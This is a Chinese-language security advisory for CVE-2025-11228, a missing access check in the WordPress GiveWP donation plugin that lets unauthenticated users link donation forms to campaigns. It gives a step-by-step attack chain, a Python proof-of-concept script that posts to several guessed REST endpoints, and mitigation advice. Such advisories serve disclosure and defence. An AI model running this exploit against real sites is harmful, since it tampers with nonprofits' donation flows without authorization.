IPBUF安全漏洞报告
English
CVE-2025-11228 CVSS 5.3 中危

CVE-2025-11228:WordPress GiveWP插件未授权数据修改漏洞

披露日期: 2025-10-04

漏洞信息

漏洞编号
CVE-2025-11228
漏洞类型
权限控制缺失(Broken Access Control)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GiveWP – Donation Plugin and Fundraising Platform(WordPress插件)

相关标签

CVE-2025-11228GiveWPWordPress权限控制缺失Broken Access Control未授权访问数据修改REST API捐赠插件中危漏洞

漏洞概述

CVE-2025-11228是WordPress流行捐赠插件GiveWP(Donation Plugin and Fundraising Platform)中存在的一个安全漏洞。该漏洞由WordFence安全团队的安全研究员发现并报告,CVSS评分为5.3分,属于中危级别漏洞。

GiveWP是WordPress上最受欢迎的在线捐赠和筹款平台插件之一,拥有超过10万次活跃安装,广泛应用于非营利组织、慈善机构和个人创作者的网站中。该插件允许网站管理员创建和管理捐赠表单、活动(Campaigns)以及接收在线捐款。

该漏洞的根本原因在于插件中的`registerAssociateFormsWithCampaign`函数缺少必要的能力检查(capability check)。在WordPress中,能力检查是确保只有具有相应权限的用户才能执行特定操作的关键安全机制。由于缺少这一检查,未认证的攻击者(无需任何WordPress账户)可以通过调用相关REST API端点,将任意捐赠表单与任意活动进行关联。

这种未授权的数据修改操作虽然不会直接泄露敏感信息或导致远程代码执行,但攻击者可以利用此漏洞篡改网站内容,破坏正常的捐赠流程,将用户引导至错误的捐赠表单,或通过恶意关联进行钓鱼攻击。此外,攻击者还可以利用此漏洞干扰网站管理员对捐赠活动的管理,造成业务混乱和声誉损害。该漏洞影响所有4.10.0及以下版本的GiveWP插件。

技术细节

该漏洞的技术原理基于WordPress REST API的权限验证缺陷。GiveWP插件通过WordPress的REST API注册了一系列路由来处理捐赠表单和活动的管理操作,其中`registerAssociateFormsWithCampaign`函数负责将捐赠表单(Donation Forms)与活动(Campaigns)进行关联。

在正常的WordPress插件开发中,当注册REST API路由时,开发者需要通过`permission_callback`参数指定一个回调函数来验证当前用户是否具有执行该操作的权限。然而,GiveWP插件在该路由的实现中,未正确实现权限验证回调函数,导致任何未认证的用户都可以直接调用该API端点。

攻击利用方式如下:
1. 攻击者首先确定目标网站安装了GiveWP插件(可通过查看页面源码、REST API探测等方式)。
2. 攻击者构造一个针对`/wp-json/give/v1/donation-forms/associate-campaign`或类似REST API端点的POST请求。
3. 请求中包含目标捐赠表单ID和目标活动ID等参数。
4. 由于缺少权限验证,服务器直接处理该请求,将指定的捐赠表单与活动进行关联。
5. 攻击者可以重复此操作,将任意表单关联到任意活动,破坏网站正常的捐赠流程。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N,表明该漏洞可通过网络远程利用,攻击复杂度低,无需认证和用户交互,主要影响数据完整性。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过搜索引擎、网站指纹识别工具或直接访问目标网站,确认目标WordPress站点安装了GiveWP插件(版本<=4.10.0)。可以通过查看页面源码中的插件特征字符串或探测REST API端点来确认。
STEP 2
步骤2:API端点探测
攻击者探测GiveWP插件注册的REST API端点,特别是与捐赠表单和活动管理相关的端点,如/wp-json/give/v1/路径下的相关路由。
STEP 3
步骤3:构造恶意请求
攻击者构造一个POST请求,调用registerAssociateFormsWithCampaign函数对应的REST API端点,请求中包含目标捐赠表单ID和活动ID参数。由于该函数缺少permission_callback验证,攻击者无需任何认证凭据。
STEP 4
步骤4:未授权数据修改
服务器处理请求并执行关联操作,将指定的捐赠表单与活动进行关联。攻击者可以重复此操作,将任意表单关联到任意活动。
STEP 5
步骤5:影响实现
通过篡改表单与活动的关联关系,攻击者可以干扰正常的捐赠流程,将用户引导至错误的捐赠表单,或破坏网站管理员的活动管理,对网站的正常运营造成影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-11228 - GiveWP Plugin Unauthorized Data Modification PoC Vulnerability: Missing capability check on registerAssociateFormsWithCampaign function Affected: GiveWP Plugin for WordPress <= 4.10.0 """ import requests import sys import argparse def exploit(target_url, form_id, campaign_id): """ Exploit CVE-2025-11228 by associating a donation form with a campaign without authentication. """ # WordPress REST API base path api_base = f"{target_url.rstrip('/')}/wp-json" # Common REST API endpoints for GiveWP donation forms endpoints = [ f"{api_base}/give/v1/donation-forms/associate-campaign", f"{api_base}/give/v2/donation-forms/associate-campaign", f"{api_base}/wp/v2/give_campaigns/associate-form", ] headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } payload = { "form_id": form_id, "campaign_id": campaign_id } for endpoint in endpoints: print(f"[*] Trying endpoint: {endpoint}") try: response = requests.post( endpoint, json=payload, headers=headers, timeout=10, verify=False ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") if response.status_code in [200, 201]: print(f"[SUCCESS] Form {form_id} associated with campaign {campaign_id}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-11228 PoC") parser.add_argument("-u", "--url", required=True, help="Target WordPress site URL") parser.add_argument("-f", "--form-id", required=True, help="Donation Form ID") parser.add_argument("-c", "--campaign-id", required=True, help="Campaign ID") args = parser.parse_args() exploit(args.url, args.form_id, args.campaign_id)

影响范围

GiveWP Plugin <= 4.10.0

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)通过WordPress的REST API设置或安全插件,限制对GiveWP相关API端点的访问,仅允许认证用户调用;2)使用WAF规则拦截针对捐赠表单关联API的未认证POST请求;3)在wp-config.php中通过REST_API_PREFIX或相关配置限制REST API的公开访问;4)监控网站日志,关注异常的API调用行为;5)定期检查捐赠表单与活动的关联状态,及时发现并修复被恶意修改的关联关系。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表